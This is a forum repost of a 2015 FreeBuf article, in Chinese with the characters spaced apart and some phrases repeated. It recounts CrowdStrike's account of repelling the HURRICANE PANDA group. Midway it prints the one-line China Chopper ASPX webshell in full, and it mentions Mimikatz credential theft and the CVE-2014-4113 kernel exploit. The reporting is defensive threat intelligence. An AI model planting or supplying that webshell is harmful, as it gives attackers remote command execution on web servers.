搜索

[8862] 2015-04-23_CrowdStrike：我们挡住了中国黑客组织飓风熊猫（HURRICANEPANDA）的攻击

文档创建者：s7ckTeam
浏览次数：10
最后更新：2025-01-17
2015-04-23_CrowdStrike：我们挡住了中国黑客组织飓风熊猫（HURRICANEPANDA）的攻击 C r o w d S t r i k e ： 我 们 挡 住 了 中 国 黑 客 组 织 飓 风 熊 猫 （ H U R R I C A N E   P A N D A ） 的 攻 击 F r e e B u f   2 0 1 5 - 0 4 - 2 3 微 信 号 ： 微 信 号 ： f r e e b u f 通 常 我 们 看 到 黑 客 入 侵 事 件 的 报 道 大 多 为 ： 某 公 司 被 黑 客 入 侵 了 ， 检 测 到 一 未 知 行 为 ， 事 件 响 应 小 组 已 介 入 调 查 和 通 常 我 们 看 到 黑 客 入 侵 事 件 的 报 道 大 多 为 ： 某 公 司 被 黑 客 入 侵 了 ， 检 测 到 一 未 知 行 为 ， 事 件 响 应 小 组 已 介 入 调 查 和 处 理 ， 客 户 和 公 众 确 定 入 侵 行 为 结 束 ， 公 司 解 除 安 全 警 报 处 理 ， 客 户 和 公 众 确 定 入 侵 行 为 结 束 ， 公 司 解 除 安 全 警 报 … … 你 是 不 是 也 这 样 认 为 黑 客 入 侵 都 是 偶 发 性 、 短 暂 性 的 你 是 不 是 也 这 样 认 为 黑 客 入 侵 都 是 偶 发 性 、 短 暂 性 的 呢 ？ 呢 ？ 而 A P T （ 高 级 可 持 续 性 威 胁 ） 攻 击 并 不 是 这 样 — — 真 正 有 目 的 性 的 攻 击 者 并 不 会 考 虑 战 斗 或 者 使 命 什 么 时 候 结 束 ， 直 至 被 发 现 或 被 踢 出 网 络 的 那 一 刻 才 算 暂 时 中 止 。 他 们 的 工 作 就 是 入 侵 到 某 网 站 ， 然 后 潜 伏 在 其 中 。 这 其 中 的 艰 苦 和 所 面 对 的 困 难 只 有 他 们 自 己 知 道 ， 他 们 通 常 会 连 续 工 作 几 周 甚 至 几 个 月 ， 直 至 成 功 入 侵 。 当 然 功 夫 不 负 有 心 人 ， 大 多 数 情 况 下 都 能 成 功 。 成 功 入 侵 之 后 ， 他 们 便 会 继 续 他 们 的 主 要 工 作 ， 窃 取 敏 感 数 据 、 使 受 害 者 宕 机 等 。 论 持 久 战 论 持 久 战 成 功 入 侵 的 心 诀 就 是 持 之 以 恒 。 攻 击 者 需 要 做 好 长 久 作 战 的 准 备 ， 要 知 道 攻 击 目 标 都 不 是 傻 子 ， 他 们 可 能 很 快 就 发 现 了 你 的 攻 击 行 为 ， 并 给 予 了 还 击 ， 这 个 时 候 你 就 要 另 辟 蹊 径 ， 重 新 寻 找 攻 击 突 破 口 了 。 有 时 一 次 成 功 的 入 侵 会 循 环 往 复 好 多 次 重 复 操 作 。 还 有 一 种 比 较 高 效 的 还 击 方 法 — — 损 毁 攻 击 者 的 间 谍 情 报 技 术 和 工 具 ， 这 样 既 阻 碍 了 入 侵 ， 还 浪 费 了 攻 击 者 大 量 的 时 间 和 精 力 ， 一 石 二 鸟 有 没 有 ？ 好 了 ， 废 话 有 点 多 ， 该 进 入 正 题 了 … … 背 景 背 景
C r o w d S t r i k e 公 司 官 方 博 客 上 发 表 了 一 篇 文 章 ， 宣 称 成 功 阻 挡 住 了 中 国 黑 客 组 织 飓 风 熊 猫 （ 公 司 官 方 博 客 上 发 表 了 一 篇 文 章 ， 宣 称 成 功 阻 挡 住 了 中 国 黑 客 组 织 飓 风 熊 猫 （ H U R R I C A N E   P A N D A ） 的 ） 的 网 络 攻 击 。 网 络 攻 击 。 C r o w d S t r i k e 从 从 2 0 1 3 年 就 开 始 调 查 飓 风 熊 猫 ， 并 一 直 在 与 之 斗 争 。 年 就 开 始 调 查 飓 风 熊 猫 ， 并 一 直 在 与 之 斗 争 。 C r o w d S t r i k e 对 飓 风 熊 猫 的 攻 击 决 心 给 出 了 如 下 评 价 ： t h e y   a r e   l i k e   a   d o g   w i t h   a   b o n e . （ 小 编 愚 昧 ， 比 喻 太 过 深 奥 ， 还 是 不 翻 为 好 … … ） 与 飓 风 熊 猫 之 间 的 攻 防 战 与 飓 风 熊 猫 之 间 的 攻 防 战 2 0 1 4 年 4 月 底 ， 一 家 遭 到 飓 风 熊 猫 攻 击 的 公 司 向 C r o w d S t r i k e 公 司 寻 求 了 帮 助 。 C r o w d S t r i k e 建 议 它 立 即 在 主 机 基 础 设 施 上 部 署 他 们 的 端 点 安 全 技 术 C r o w d S t r i k e   F a l c o n 。 该 技 术 可 以 让 他 们 清 楚 的 看 到 攻 击 者 的 行 为 ： 执 行 的 命 令 、 窃 取 的 证 书 等 ， 这 样 就 大 大 节 约 了 寻 找 修 复 方 法 的 时 间 。 所 以 这 家 公 司 在 6 月 初 的 时 候 就 完 全 修 复 了 被 攻 击 者 利 用 的 所 有 漏 洞 ， 也 就 是 说 飓 风 熊 猫 被 成 功 踢 了 出 去 。 然 而 然 而 H U R R I C A N E   P A N D A 的 战 斗 并 没 有 终 止 的 战 斗 并 没 有 终 止 … … 随 之 而 来 的 是 ， 重 新 发 起 攻 击 的 飓 风 熊 猫 选 择 使 用 C h i n a   C h o p p e r   w e b s h e l l （ 中 国 菜 刀 ） — — 它 是 一 个 微 小 、 易 被 忽 略 且 只 有 7 0 字 节 的 文 本 文 件 ， 里 面 包 含 一 个 ‘ e v a l ( ) ’ 命 令 ， 会 为 攻 击 者 提 供 完 整 的 命 令 执 行 权 限 和 文 件 上 传 / 下 载 能 力 。 该 脚 本 可 以 通 过 S Q L 注 入 或 者 W e b D A V   漏 洞 上 传 至 w e b 服 务 器 。 < % @ P a g e   L a n g u a g e = " J s c r i p t " % >   < % e v a l ( R e q u e s t . I t e m [ " p a s s w o r d " ] , " u n s a f e " ) ;   % > 一 旦 该 脚 本 成 功 植 入 进 受 害 者 w e b 服 务 器 ， 攻 击 者 会 立 即 启 动 证 书 窃 取 工 具 （ 如   M i m i k a t z ） 。 如 果 攻 击 者 足 够 幸 运 ， 恰 好 在 管 理 员 登 录 w e b 服 务 器 的 时 候 发 动 攻 击 的 话 ， 便 可 窃 取 到 域 名 管 理 员 证 书 ， 然 后 在 w e b s h e l l   终 端 执 行 ‘ n e t   u s e ’ 和 ‘ w m i c ’ 命 令 ， 之 后 便 可 畅 游 受 害 者 网 络 了 。 而 C r o w d S t r i k e 很 快 检 测 并 阻 止 了 木 马 后 门 C h i n a   C h o p p e r   w e b s h e l l 。 在 为 期 4 个 月 的 尝 试 无 果 之 后 ， 飓 风 熊 猫 再 次 提 升 了 他 们 的 间 谍 情 报 技 术 并 利 用 了 W i n d o w s 内 核 0 d a y 漏 洞   ( C V E - 2 0 1 4 - 4 1 1 3 ) ， 而 且 即 便 借 助 于 0 d a y 漏 洞 也 没 能 绝 地 反 击 ， 经 过 无 数 次 攻 击 尝 试 失 败 后 ， H U R R I C A N E   P A N D A 终 于 放 弃 了 。
*   参 考 来 源 b l o g . c r o w d s t r i k e . c o m ， 转 载 请 注 明 来 自 F r e e B u f 黑 客 与 极 客 （ F r e e B u f . C O M ） 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理